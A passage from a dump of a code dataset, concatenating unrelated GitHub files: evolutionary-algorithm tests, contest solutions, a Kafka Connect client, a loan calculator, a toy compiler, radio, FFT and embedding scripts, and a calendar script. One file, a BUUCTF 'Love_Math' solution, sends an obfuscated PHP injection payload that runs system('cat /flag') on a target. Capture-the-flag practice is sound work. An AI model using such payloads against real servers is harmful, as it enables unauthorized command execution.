test_update_n_objective_calls(population_params, genome_params, ea_params):\n def objective(individual):\n individual.fitness = float(individual.idx)\n return individual\n\n n_objective_calls_expected = 0\n pop = cgp.Population(**population_params, genome_params=genome_params)\n ea = cgp.ea.MuPlusLambda(**ea_params)\n assert ea.n_objective_calls == n_objective_calls_expected\n\n ea.initialize_fitness_parents(pop, objective)\n n_objective_calls_expected = population_params[\"n_parents\"]\n assert ea.n_objective_calls == n_objective_calls_expected\n\n n_generations = 100\n for _ in range(n_generations):\n offsprings = ea._create_new_offspring_generation(pop)\n combined = offsprings + pop.parents\n n_objective_calls_expected += sum([1 for ind in combined if ind.fitness_is_None()])\n combined = ea._compute_fitness(combined, objective)\n assert n_objective_calls_expected == ea.n_objective_calls\n\n\ndef test_update_n_objective_calls_mutation_rate_one(population_params, genome_params, ea_params):\n def objective(individual):\n individual.fitness = float(individual.idx)\n return individual\n\n ea_params[\"mutation_rate\"] = 1.0\n pop = cgp.Population(**population_params, genome_params=genome_params)\n ea = cgp.ea.MuPlusLambda(**ea_params)\n ea.initialize_fitness_parents(pop, objective)\n n_objective_calls_expected = population_params[\"n_parents\"]\n n_step_calls = 100\n for idx_current_step in range(n_step_calls):\n ea.step(pop, objective)\n n_objective_calls_expected += ea_params[\"n_offsprings\"]\n assert ea.n_objective_calls == n_objective_calls_expected\n\n\ndef test_hurdles(population_params, genome_params, ea_params):\n\n # make sure all offsprings are assigned fitness None\n population_params[\"n_parents\"] = 3\n ea_params[\"mutation_rate\"] = 1.0\n ea_params[\"n_offsprings\"] = 3\n ea_params[\"hurdle_percentile\"] = [0.1, 0.0]\n\n def objective_one(ind):\n # assign low fitness to individuals 4 and 5 to check blocking via hurdle\n if ind.idx in (4, 5):\n ind.fitness = -float(ind.idx)\n else:\n ind.fitness = float(ind.idx)\n return ind\n\n def objective_two(ind):\n if ind.idx == 4:\n ind.fitness = -((1.0 + float(ind.idx)) ** 2)\n else:\n ind.fitness = (1.0 + float(ind.idx)) ** 2\n return ind\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n ea = cgp.ea.MuPlusLambda(**ea_params)\n\n ea.initialize_fitness_parents(pop, [objective_one, objective_two])\n\n # while initializing parents, both objectives should have been\n # evaluated for all parents; the parents fitness is hence the sum\n # of both objectives\n parents_expected = [(0, 1), (1, 5), (2, 11)]\n for ind, ind_expected in zip(pop.parents, parents_expected):\n assert ind.idx == ind_expected[0]\n assert ind.fitness == pytest.approx(ind_expected[1])\n\n # code below implements `ea.step`, but keeps offsprings around to\n # check combined population\n offsprings = ea._create_new_offspring_generation(pop)\n combined = offsprings + pop.parents\n\n combined = ea._compute_fitness(combined, [objective_one, objective_two])\n combined = ea._sort(combined)\n\n # individual 4 has higher fitness as individual 5 as the latter\n # didn't make it past the first hurdle\n combined_expected = [(3, 19), (2, 11), (1, 5), (0, 1), (4, -29), (5, -5)]\n assert len(combined) == len(combined_expected)\n for ind, ind_expected in zip(combined, combined_expected):\n assert ind.idx == ind_expected[0]\n assert ind.fitness == pytest.approx(ind_expected[1])\n\n\ndef test_mutate(population_params, genome_params, ea_params):\n ea_params[\"mutation_rate\"] = 0.5\n pop = cgp.Population(**population_params, genome_params=genome_params)\n ea = cgp.ea.MuPlusLambda(**ea_params)\n\n offspring = pop.parents\n offspring_original = copy.deepcopy(offspring)\n offspring = ea.mutate(offspring, pop.rng)\n assert np.any(\n [off_orig != off_mutated for off_orig, off_mutated in zip(offspring_original, offspring)]\n )\n\n\ndef test_objective_must_set_valid_fitness(population_params, genome_params, ea_params):\n def objective(ind):\n # missing ind.fitness assignement\n return ind\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n ea = cgp.ea.MuPlusLambda(**ea_params)\n with pytest.raises(RuntimeError):\n cgp.evolve(objective, pop, ea, max_generations=10)\n with pytest.raises(RuntimeError):\n pop.champion.fitness\n\n\ndef test_sort_with_hurdles():\n # one objective: fittest individual should be first\n ind0 = IndividualSingleGenome([])\n ind0._fitness = [0]\n ind1 = IndividualSingleGenome([])\n ind1._fitness = [1]\n ind2 = IndividualSingleGenome([])\n ind2._fitness = [2]\n ind3 = IndividualSingleGenome([])\n ind3._fitness = [3]\n individuals = [ind0, ind1, ind2, ind3]\n ea = cgp.ea.MuPlusLambda()\n sorted_individuals = ea._sort(individuals)\n expected = [[3], [2], [1], [0]]\n assert [ind._fitness for ind in sorted_individuals] == expected\n\n # two objective with hurdle: individuals which pass more hurdles should come\n # first, in each hurdle sorted by their fitness\n ind0 = IndividualSingleGenome([])\n ind0._fitness = [0, 5]\n ind1 = IndividualSingleGenome([])\n ind1._fitness = [1, None]\n ind2 = IndividualSingleGenome([])\n ind2._fitness = [2, 4]\n ind3 = IndividualSingleGenome([])\n ind3._fitness = [3, None]\n individuals = [ind0, ind1, ind2, ind3]\n ea = cgp.ea.MuPlusLambda()\n sorted_individuals = ea._sort(individuals)\n expected = [[0, 5], [2, 4], [3, None], [1, None]]\n assert [ind._fitness for ind in sorted_individuals] == expected\n","repo_name":"Happy-Algorithms-League/hal-cgp","sub_path":"test/test_ea_mu_plus_lambda.py","file_name":"test_ea_mu_plus_lambda.py","file_ext":"py","file_size_in_byte":13653,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"28"} +{"seq_id":"24218143340","text":"n = int(input())\narr = list(map(int, input().split()))\n\ncount = []\n\nfor index in range(1, n):\n if arr[index] < arr[index - 1]:\n start = index - 1\n\n end = index\n for i in range(index + 1, n):\n if arr[i] <= arr[i - 1]:\n end += 1\n else:\n break\n count.append((start, end))\n break\n\nif count:\n start = count[0][0]\n end = count[0][1]\n\n while start < end:\n arr[start], arr[end] = arr[end], arr[start]\n start += 1\n end -= 1\n \n is_valid = False\n if arr == sorted(arr):\n print(\"yes\")\n print(count[0][0] + 1, count[0][1] + 1)\n else:\n print(\"no\")\nelse:\n print(\"yes\")\n print(\"1 1\")","repo_name":"duressaJemal/Competitive-Programming","sub_path":"code force/codeforce_contest/A2SV contest #4/C_Sort_the_Array.py","file_name":"C_Sort_the_Array.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"28"} +{"seq_id":"586627839","text":"from typing import List, Optional\n\nfrom app import model\n\nimport requests\n\n\nclass ConnectClient:\n \"\"\"Mockable Kafka Connect client\"\"\"\n\n def connector_delete(self, name: str) -> None:\n raise NotImplementedError()\n\n def connector_get(self, name: str) -> Optional[model.ConnectorInfo]:\n raise NotImplementedError()\n\n def connectors_list(self) -> List[str]:\n raise NotImplementedError()\n\n def connector_update(self, name: str, config: dict) -> model.ConnectorInfo:\n raise NotImplementedError()\n\n def connector_validate(self, name: str, config: dict) -> None:\n raise NotImplementedError()\n\n def plugins_list(self) -> List[str]:\n raise NotImplementedError()\n\n\nclass ConnectClientImpl(ConnectClient):\n \"\"\"Rest API Kafka Connect client\"\"\"\n\n def __init__(self, *, connect_url: str) -> None:\n assert connect_url, \"Missing connect url\"\n self._connect_url = connect_url\n if self._connect_url.endswith(\"/\"):\n self._connect_url = self._connect_url[:-1]\n\n def connector_delete(self, name: str) -> None:\n assert name, \"Name can not be empty\"\n resp = requests.delete(f\"{self._connect_url}/connectors/{name}\")\n assert resp.status_code in [204, 400], \\\n f\"Invalid status code [{resp.status_code}].\"\n\n def connector_get(self, name: str) -> Optional[model.ConnectorInfo]:\n assert name, \"Connector name can not be empty\"\n resp = requests.get(f\"{self._connect_url}/connectors/{name}\")\n if resp.status_code == 200:\n data = resp.json()\n return self._create_info(\n name=data[\"name\"],\n config=data[\"config\"],\n tasks=data[\"tasks\"])\n elif resp.status_code == 404:\n return None\n else:\n raise ValueError(f\"Invalid status code [{resp.status_code}]: {resp.text}.\")\n\n def connectors_list(self) -> List[str]:\n resp = requests.get(f\"{self._connect_url}/connectors\")\n assert resp.status_code == 200, f\"Invalid status code [{resp.status_code}]: {resp.text}.\"\n return resp.json()\n\n def connector_update(self, name: str, config: dict) -> model.ConnectorInfo:\n resp = requests.put(f\"{self._connect_url}/connectors/{name}/config\", json=config)\n if resp.status_code in [200, 201]:\n data = resp.json()\n return self._create_info(\n name=data[\"name\"],\n config=data[\"config\"],\n tasks=data[\"tasks\"])\n elif resp.status_code == 409:\n raise ValueError(\"Cluster is re-balancing, try later\")\n raise ValueError(f\"Invalid Kafka Connect response [{resp.status_code}]: {resp.text}.\")\n\n def connector_validate(self, name: str, config: dict) -> None:\n class_name = config.get(\"connector.class\")\n if not class_name:\n raise ValueError(f\"Missing required parameter [connector.class]\")\n\n config = config.copy()\n if not config.get('name'):\n config['name'] = name\n\n resp = requests.put(f\"{self._connect_url}/connector-plugins/{class_name}/config/validate\", json=config)\n assert resp.status_code == 200, f\"Invalid status code [{resp.status_code}]: {resp.text}.\"\n\n errors = []\n body = resp.json()\n\n if body[\"error_count\"] > 0:\n for item in body[\"configs\"]:\n for error in item[\"value\"][\"errors\"]:\n errors.append(f\"parameter: [{item['value']['name']}], \"\n f\"error: [{error}], \"\n f\"documentation: [{item['definition'].get('documentation')}]\")\n if errors:\n raise ValueError(f\"Configuration errors found: [{errors}]\")\n\n def plugins_list(self) -> List[str]:\n resp = requests.get(f\"{self._connect_url}/connector-plugins\")\n assert resp.status_code == 200, f\"Invalid status code [{resp.status_code}]: {resp.text}.\"\n return [item[\"class\"] for item in resp.json()]\n\n def _create_info(self, *, name: str, config: dict, tasks: list) -> model.ConnectorInfo:\n return model.ConnectorInfo(name=name, config=config, tasks=tasks)\n","repo_name":"melphi/kafkaform","sub_path":"app/client/connect.py","file_name":"connect.py","file_ext":"py","file_size_in_byte":4190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"28943695929","text":"from math import ceil, log, pow\nimport argparse\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('-t', '--type')\nparser.add_argument('-a', '--payment', default=0)\nparser.add_argument('-p', '--principal', default=0)\nparser.add_argument('-n', '--periods', type=int, default=0)\nparser.add_argument('-i', '--interest', default=0)\n\nargs = parser.parse_args()\n\nt = args.type\na = args.payment\np = args.principal\nn = args.periods\ni = args.interest\ntry:\n a, p, i = map(float, [a, p, i])\nexcept ValueError:\n exit('Incorrect parameters')\n\ns = sum(map(lambda x: int(bool(x)), [a, p, n]))\n\nif t not in ['annuity', 'diff'] \\\n or t == 'diff' and a \\\n or s != 2 \\\n or i <= 0 or a < 0 or p < 0 or n < 0:\n print('Incorrect parameters')\n exit()\n\ni = i / 1200\n\nif t == 'annuity':\n if n == 0: # for number of monthly payments\n n = ceil(log(a / (a - i * p), 1 + i))\n years = n // 12\n months = n % 12\n years = '1 year' if years == 1 else str(years) + ' years' if years else ''\n the_and = ' and ' if years and months else ''\n months = str(months) + ' months' if months else ''\n print(f'It will take {years}{the_and}{months} to repay this loan!')\n\n if a == 0: # for annuity monthly payment amount\n a = ceil(p * (i * pow(1 + i, n)) / (pow(1 + i, n) - 1))\n print(f'\\nYour monthly payment = {a}!')\n\n if p == 0: # for loan principal\n p = round(a / ((i * pow(1 + i, n)) / (pow(1 + i, n) - 1)))\n print(f'\\nYour loan principal = {p}!')\n\n over = ceil(n * a - p)\n print(f'\\nOverpayment = {over}!')\n\nif t == 'diff':\n total = 0\n for m in range(1, n + 1):\n a = ceil(p / n + i * (p - (p * (m - 1)) / n))\n total += a\n print(f'\\nMonth {m}: payment is {a}')\n print(f'\\nOverpayment = {ceil(total - p)}!')\n","repo_name":"bmvmarc/creditcalc","sub_path":"creditcalc.py","file_name":"creditcalc.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"37889968723","text":"import sys\nfrom utils.openfile import openSheeshfile\n\nlistt = []\noperator_set = set([\"+\", \"-\", \"*\", \"/\", \"(\", \")\", \"^\"])\npriority_map = {\"+\": 1, \"-\": 1, \"*\": 2, \"/\": 2, \"^\": 3}\n\n\ndef ass(equation, print_flag):\n res = equation[0]\n x = arith(equation[2:], print_flag)\n listt.append(equation[0:2] + \"R\" + str(x))\n res = []\n [res.append(x) for x in listt if x not in res]\n if print_flag == 1:\n print(\"\\t\", equation[0:2], \"R\" + str(x), \"\\n\")\n return res\n\n\ndef infix_to_postfix(expression):\n stack = []\n opt = \"\"\n for char in expression:\n if char == \")\":\n while stack and stack[-1] != \"(\":\n opt += stack.pop()\n stack.pop()\n elif char == \"(\":\n stack.append(\"(\")\n elif char not in operator_set:\n opt += char\n else:\n cond1 = stack and stack[-1] != \"(\"\n cond2 = stack and priority_map[char] <= priority_map[stack[-1]]\n while cond1 and cond2:\n opt += stack.pop()\n cond1 = stack and stack[-1] != \"(\"\n cond2 = stack and priority_map[char] <= priority_map[stack[-1]]\n stack.append(char)\n\n while stack:\n opt = opt + stack.pop()\n return opt\n\n\ndef arith(equation, print_flag): # arithmetic\n postfix = infix_to_postfix(equation)\n operators = (\"+\", \"-\", \"*\", \"/\", \"^\")\n if print_flag == 1:\n print(\"Postfix expression is: \", postfix)\n st = []\n r_count = 1\n if print_flag == 1:\n print(\"Three address code is: \")\n for i in postfix:\n if i not in operators:\n st.append(i)\n else:\n a = st.pop(-1)\n b = st.pop(-1)\n listt.append(\"R\" + str(r_count) + \"=\" + a + i + b + \",\")\n if print_flag == 1:\n print(\"\\tR\" + str(r_count) + \"=\" + a + i + b)\n r_count += 1\n st.append(\"R\" + str(r_count - 1))\n return r_count - 1\n\n\ndef relt(equation, stmnts, line_number): # relational\n res = \"\"\n for i in stmnts:\n res = res + i\n r_count = 100 + line_number\n t = 0\n sts = {}\n sts_ = [\n \"if \" + equation + \" goto \" + str(r_count + 3),\n \"T:= \" + str(t),\n \" goto \" + str(r_count + 4),\n \"T:= \" + res,\n \"End\",\n ]\n for count in range(r_count, r_count + 5):\n sts[count] = sts_[count - r_count]\n\n for key, value in sts.items():\n print(key, value)\n print(\"\\n\")\n\n\ndef elserelt(stmnts, line_number):\n res = \"\"\n for i in stmnts:\n res = res + i\n r_count = 100 + line_number\n t = 0\n sts = {}\n sts_ = [\n \"else \" + \" goto \" + str(r_count + 3),\n \"T:= \" + str(t),\n \" goto \" + str(r_count + 4),\n \"T:= \" + res,\n \"End\",\n ]\n for count in range(r_count, r_count + 5):\n sts[count] = sts_[count - r_count]\n for key, value in sts.items():\n print(key, value)\n print(\"\\n\")\n\n\ndef intermediate_code_generator(filename):\n\n f = openSheeshfile(filename)\n lines = f.read().splitlines()\n # print('The Testcase is :\\n')\n # for i in lines: print('\\t',i)\n\n print(\"\\n\")\n print(\"Three Address code SECTION => \")\n\n list_of_lines = []\n\n for line in lines:\n list_of_lines.append(line.split(\" \"))\n\n for i in range(len(lines)):\n listt = []\n exp1 = \"\"\n exp2 = \"\"\n if \"if\" in list_of_lines[i]:\n for char in list_of_lines[i]:\n if char == \"if\":\n continue\n if char == \"(\":\n continue\n if char == \")\":\n break\n exp1 = exp1 + char\n i = i + 2\n for char in list_of_lines[i]:\n exp2 = exp2 + char\n relt(exp1, ass(exp2, 0), i)\n elif \"elseif\" in list_of_lines[i]:\n for char in list_of_lines[i]:\n if char == \"elseif\":\n continue\n if char == \"(\":\n continue\n if char == \")\":\n break\n exp1 = exp1 + char\n i = i + 2\n for char in list_of_lines[i]:\n exp2 = exp2 + char\n relt(exp1, ass(exp2, 0), i)\n elif \"else\" in list_of_lines[i]:\n for char in list_of_lines[i]:\n if char == \"elseif\":\n continue\n if char == \"(\":\n continue\n if char == \")\":\n break\n exp1 = exp1 + char\n i = i + 2\n for char in list_of_lines[i]:\n exp2 = exp2 + char\n elserelt(ass(exp2, 0), i)\n elif \"=\" in list_of_lines[i]:\n if i > 2:\n if (\n \"if\" in list_of_lines[i - 2]\n or \"else\" in list_of_lines[i - 2]\n or \"elseif\" in list_of_lines[i - 2]\n ):\n continue\n prev_char = \"\"\n enc_flag = 0\n for char in list_of_lines[i]:\n if char == \"=\":\n exp1 = exp1 + prev_char\n exp1 = exp1 + \"=\"\n enc_flag = 1\n if enc_flag == 1:\n exp1 = exp1 + char\n prev_char = char\n ass(exp1, 1)\n","repo_name":"neilmehta31/SheeshLang","sub_path":"SDT_SDD/intermediate_code_gen.py","file_name":"intermediate_code_gen.py","file_ext":"py","file_size_in_byte":5346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"28554614243","text":"from sys import argv\n\nif __name__ == '__main__':\n try:\n url = argv[1]\n except Exception as e:\n print(\"python3 exp.py url\")\n else:\n from requests import get\n\n payload = '?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag'\n url = url + payload\n\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) '\n 'Chrome/109.0.0.0 Safari/537.36 '\n }\n\n response = get(url=url, headers=headers).text\n\n from re import findall\n\n flag = ''.join(findall('flag{.*?}', response))\n print(flag)\n","repo_name":"Bravecoward1-oss/ctf_diary","sub_path":"buuctf/web/Love_Math/exp.py","file_name":"exp.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"74397035596","text":"moves = [(1,2),(2,1),(-1,2),(2,-1),(1,-2),(-2,1),(-1,-2),(-2,-1)]\nx1,y1 = map(int,input().split())\nx1 = 8-x1\ny1 -= 1\nx2,y2 = map(int,input().split())\nx2 = 8-x2\ny2 -= 1\nstart = (x1,y1)\nend = (x2,y2)\n\nboard = [[0 for i in range(8)] for j in range(8)]\n\nfrom collections import deque\nd = deque()\nd.append(start)\nwhile d:\n\tx,y = d.popleft()\n\tif (x,y) == end:\n\t\tprint(board[y][x])\n\t\tbreak\n\tfor a,b in moves:\n\t\tnx,ny = x+a,y+b\n\t\tif 0 <= nx <= 7 and 0 <= ny <= 7:\n\t\t\tif board[ny][nx] == 0:\n\t\t\t\tboard[ny][nx] = board[y][x]+1\n\t\t\t\td.append((nx,ny))","repo_name":"cabbagecabbagecabbage/Competitive-Programming","sub_path":"DMOJ Solutions/ccc10j5.py","file_name":"ccc10j5.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"} +{"seq_id":"23048870196","text":"class Email:\n def __init__(self, sender, receiver, content):\n self.is_sent = False\n self.sender = sender\n self.receiver = receiver\n self.content = content\n\n def send(self):\n self.is_sent = True\n\n def get_info(self):\n return f\"{self.sender} says to {self.receiver}: {self.content}. Sent:{self.is_sent}\"\n\n\nemails = []\n\nmessages = input()\nwhile not messages == 'Stop':\n sender, receiver, content = messages.split()\n email = Email(sender, receiver, content)\n emails.append(email)\n messages = input()\n\nsend_emails = [emails[int(x)].send() for x in input().split(\", \")]\n\nfor email in emails:\n print(email.get_info())\n\n\n","repo_name":"ChrisOfRivia/SoftUni-Software-Engineering-Python","sub_path":"SoftUni May_2022 (Programming Fundamentals)/8. Objects and Classes/Lab (Wednesday)/3. Email.py","file_name":"3. Email.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"3899179834","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n\n#\n# Complete the 'repeatedString' function below.\n#\n# The function is expected to return a LONG_INTEGER.\n# The function accepts following parameters:\n# 1. STRING s\n# 2. LONG_INTEGER n\n#\n\ndef repeatedString(s, n):\n number_of_a_in_base_string = s.count('a')\n number_of_exact_repetitions = n // len(s)\n number_of_a_in_leftover = s[:(n % len(s))].count('a')\n\n return number_of_a_in_base_string * number_of_exact_repetitions + number_of_a_in_leftover\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n s = input()\n\n n = int(input().strip())\n\n result = repeatedString(s, n)\n\n fptr.write(str(result) + '\\n')\n\n fptr.close()\n","repo_name":"a96tudor/hackerrank-solutions","sub_path":"interview-preparation-kit/warmup/repeated-string.py","file_name":"repeated-string.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"26458022865","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n#should i filter anomalies? \ndf = pd.read_csv('exp_ds.csv')\ndf['date'] = pd.to_datetime(df['date'], format='%Y-%m-%d')\ndf = df.sort_values('date')\ndf = df.set_index('date')\ndf = df.dropna()\n\n\n# Apply FFT\nn = len(df)\nfreq = np.fft.fftfreq(n) # generates arrow of \nfft_vals = np.fft.fft(df['qty']) # compute fft\n\namplitude = np.abs(fft_vals)\ndominant_frequency = np.argmax(amplitude)\n# Get absolute value to determine magnitude and normalize by the number of data points\n\n\n# Identify major frequencies\nthreshold = np.max(fft_vals) * 0.20 # Adjust the threshold to catch major peaks\nimportant_freqs = freq[np.where(fft_vals > threshold)]\nprint(\"Important frequencies: \", important_freqs)\n\n# intresting frequency is 0.00459242 , T = 217 days, \n\n# plot initial data with sinus exp(-2pi * 0.00459242 * t) on top \nplt.figure(figsize=(12, 6))\nplt.title(\"Sales Data\")\nplt.xlabel(\"Date\")\nplt.ylabel(\"Quantity\")\nplt.plot(freq, fft_vals, label=\"FFT\")\n\nplt.show()\n\ntime = np.arange(len(df)) \ntrig_function = np.cos(2 * np.pi * dominant_frequency * time / len(df))\n\nplt.figure(figsize=(12, 6))\nplt.title(\"Trigonometric Function with Dominant Frequency\")\nplt.xlabel(\"Time\")\nplt.ylabel(\"Amplitude\")\nplt.plot(df.index, trig_function)\nplt.show()\n\n\n\n\n\n","repo_name":"IlyaYakushevskiy/Fourier_demand","sub_path":"fourier.py","file_name":"fourier.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"39722248697","text":"#!/usr/bin/env python3\n\n\"\"\"\n##### RFM69 ECHO SERVER #####\nThis Python script implements a simple echo server using RFM69 Serial bridge.\n\n\"\"\"\n\nimport time\nfrom RFM69Serial import Rfm69SerialDevice\n\n# Parameter set for physical boards\ncs_pin = 10 # Teensy server\nint_pin = 8\ndevice_addr = 1\nnetwork_id = 101\ndevice_port = \"/dev/ttyACM0\" # `ls /dev` to find out your device port\n\ndev = Rfm69SerialDevice(device_addr, network_id, cs_pin, int_pin, device_port)\nif dev.is_device_connected():\n print(\"Serial device is online, RF module is ready!\")\ndev.encrypt(key='a1b2c3d4e5f6g7h8')\n\nprint(\"Echo server program\")\nprint(\"Server Address = \", device_addr)\nprint(\"Network ID = \", network_id)\nprint(\"--------------------\")\n\nmsg_counter = 0\n\ntry:\n dev.begin_receive()\n while True:\n if dev.receive_done():\n msg_counter += 1\n recv = dev.get_rx_data()\n print(f\"Message [{msg_counter}]: Sender ID = {recv.sender} | Msg = {recv.message_to_string()} \")\n time.sleep(0.2)\n dev.send_msg(recv.sender, recv.message_to_string())\n dev.begin_receive()\n\nexcept KeyboardInterrupt:\n dev.sleep()\n dev.close()\n print(\"Stopped by user!\")\n","repo_name":"longpear/rfm69-serial","sub_path":"examples/echo_server.py","file_name":"echo_server.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"75235883274","text":"from sentence_transformers import SentenceTransformer, util\nfrom datasets import load_from_disk\nfrom scipy.stats import normaltest\nimport torch\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport os\nimport sys\nimport argparse\nimport pprint\n\n# routine to import parent folder\ncurrent_path = os.path.dirname(os.path.realpath(__file__))\nparent = os.path.dirname(current_path)\nsys.path.append(parent)\n\nfrom helper_functions import *\n\n#emb = embedded Quatrain\n# sentences = samples\n# load samples in function\n# load emb also every step?\n\ndef max_sim_dist(emb, sample_path, model='distiluse-base-multilingual-cased-v1', device='cuda:0'):\n \"\"\"\n Calculates the maximum similarity value in the training data for each quatrain in a sample\n \n Parameters:\n ----------\n emb : Embedded training data\n sample_path : Path to sample dataset\n model : Model used to calculate embeddings\n devide : If GPU resources are available, they will be used. Otherwise use CPU\n\n Returns:\n -------\n res : List of maximum similarity values \n \"\"\"\n model = SentenceTransformer(model)\n sentences = load_from_disk(sample_path)\n sentences = flatten_list(sentences.map(join)['text'])\n res = []\n for sentence in sentences:\n sentence_embedding = model.encode(sentence, convert_to_tensor=True, device=device)\n top_k=1\n cos_scores = util.pytorch_cos_sim(sentence_embedding, emb)[0].cpu()\n top_result = np.argpartition(-cos_scores, range(top_k))[0:top_k]\n for idx in top_result[0:top_k]:\n res.append(cos_scores[idx])\n return res\n\n\ndef ss_metrics(sample_path, emb_path):\n \"\"\"\n Calculates different statistical metrics regarding the meximum similarity values\n \n Parameters:\n ----------\n sample_path : Path to sample dataset\n emb_path : Path to embedded training data\n\n Returns:\n -------\n res: Dictionary containing different statistical metrics\n fig : Histogram of max similarity values\n \"\"\"\n emb = torch.load(emb_path)\n\n sims = max_sim_dist(emb, sample_path)\n\n mean_sim = np.mean(sims)\n sd_sim = np.std(sims)\n\n minimum = np.min(sims)\n maximum = np.max(sims)\n \n sims = np.array(sims)\n\n p = normaltest(sims).pvalue\n \n res = {}\n\n res['mean'] = float(mean_sim)\n res['standard_deviation'] = float(sd_sim)\n res['min'] = float(minimum)\n res['max'] = float(maximum)\n res['dagostino_p'] = float(p)\n\n # plot similarity values \n fig = plt.figure(figsize=(5,4))\n plt.subplots_adjust(bottom=0.15)\n plt.subplots_adjust(left=0.15)\n plt.style.use('seaborn-whitegrid')\n plt.hist(sims, bins=30, facecolor = '#2ab0ff', edgecolor='#169acf', linewidth=0.5)\n #plt.title(name + \": Max Similarity\")\n plt.xlabel(\"Cosine Similarity\", fontsize=17)\n plt.ylabel(\"Frequency\", fontsize=17)\n plt.xticks(fontsize=12)\n plt.yticks(fontsize=12)\n \n return res, fig\n\n \ndef create_corpus_embeddings(training_data_path, save_path, lang):\n \"\"\"\n Calculates embedding vectors for the training data and saves vectors\n to a chosen path. Each vector represents one quatrain.\n \n Parameters:\n ----------\n training_data_path : Path to training dataset\n save_path : Path to save \n lang : language\n\n Returns:\n -------\n \n \"\"\"\n sentences = load_from_disk(training_data_path)\n sentences = flatten_list(sentences.map(join)['text'])\n\n model = SentenceTransformer('distiluse-base-multilingual-cased-v1')\n embeddings = model.encode(sentences, convert_to_tensor=True)\n\n torch.save(embeddings, save_path + '/' + lang + '-QuaTrain.pt')\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--training_data_only', action=\"store_true\")\n parser.add_argument(\"--sample_path\", type=str)\n parser.add_argument(\"--emb_path\", type=str)\n parser.add_argument(\"--quatrain_path\", type=str)\n parser.add_argument(\"--save_path\", type=str)\n parser.add_argument(\"--lang\", type=str)\n args = parser.parse_args()\n\n # create initial corpus embeddings\n if args.training_data_only == True:\n create_corpus_embeddings(args.quatrain_path, args.save_path, args.lang)\n \n else:\n metrics, similarity_figure = ss_metrics(args.sample_path, args.emb_path)\n if args.save_path:\n similarity_figure.savefig(args.save_path + '/similarities.png')\n pprint.pprint(metrics)\n \n \n\n","repo_name":"b3nji87/master-thesis-diversity-in-poetry-generation","sub_path":"diversity-in-poetry-generation/analysis/semantic_similarity.py","file_name":"semantic_similarity.py","file_ext":"py","file_size_in_byte":4459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"23372111269","text":"__author__ = 'nicolasbortolotti'\n\nimport dateutil.parser\nimport exceptions\nimport datetime\nimport sys\n\nfrom apiclient import sample_tools\n\n\ndef main(argv):\n calendar = raw_input('calendar: ')\n startDateAnalysis = raw_input('Start Date Analysis YYYY-MM-DD: ')\n endDateAnalysis = raw_input('End Date Analysis YYYY-MM-DD: ')\n\n syear, smonth, sday = map(int, startDateAnalysis.split('-'))\n cstartDateAnalysis = datetime.date(syear, smonth, sday)\n\n eyear, emonth, eday = map(int, endDateAnalysis.split('-'))\n cendDateAnalysis = datetime.date(eyear, emonth, eday)\n\n\n service, flags = sample_tools.init(argv, 'calendar', 'v3', __doc__, __file__,\n scope='https://www.googleapis.com/auth/calendar')\n\n keysum = ['#sumday', '#sum']\n now = datetime.datetime.now()\n now_plus_thirtydays = now + datetime.timedelta(days=7)\n page_token = None\n sumtime = int(0)\n demo = int(0)\n while True:\n\n events = service.events().list(\n calendarId=calendar,\n singleEvents=True,\n orderBy='startTime',\n timeMin=cstartDateAnalysis.strftime('%Y-%m-%dT%H:%M:%S-00:00'), #now.strftime('%Y-%m-%dT%H:%M:%S-00:00'),\n timeMax=cendDateAnalysis.strftime('%Y-%m-%dT%H:%M:%S-00:00'), #now_plus_thirtydays.strftime('%Y-%m-%dT%H:%M:%S-00:00'),\n pageToken=page_token,\n ).execute()\n\n #open file\n myfile = open(calendar + '.txt', 'wb')\n\n for event in events['items']:\n try:\n content = event['description'].encode('utf-8')\n if any(x in content.split() for x in keysum):\n #print event['summary']\n myfile.write('*' + event['summary'] + \"\\n\")\n\n end = dateutil.parser.parse(event['end']['dateTime'])\n start = dateutil.parser.parse(event['start']['dateTime'])\n cal = end - start\n mins = int(cal.total_seconds() / 60)\n sumtime += mins\n\n except exceptions.KeyError:\n pass\n\n\n demo = TimeCal(events['items'], keysum)\n\n page_token = events.get('nextPageToken')\n if not page_token:\n break\n\n #print(\"{} - {}\".format(\"minutes\", sumtime))\n\n\n myfile.write( '** minutes used this week: ' + str(sumtime) + \"\\n\")\n myfile.write( '** demo: ' + str(demo) + \"\\n\")\n 